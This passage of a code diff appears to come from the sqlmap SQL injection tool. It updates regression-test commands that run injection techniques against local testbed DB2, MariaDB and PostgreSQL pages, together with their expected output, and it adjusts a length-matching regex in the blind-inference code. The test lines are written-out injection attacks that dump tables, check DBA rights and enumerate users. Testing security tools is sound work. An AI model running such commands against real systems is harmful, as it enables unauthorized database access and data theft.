"[1 column]", "| SURNAME | VARCHAR(1000) |")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")), # MariaDB ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), @@ -207,7 +207,7 @@ def bedTest(): # PostgreSQL ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), - ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current schema (equivalent to database on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), ) retVal = True diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index bd90f75bc..7219814b4 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -127,7 +127,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if partialValue: firstChar = len(partialValue) - elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 @@ -138,7 +138,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: firstChar = 0 - if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar)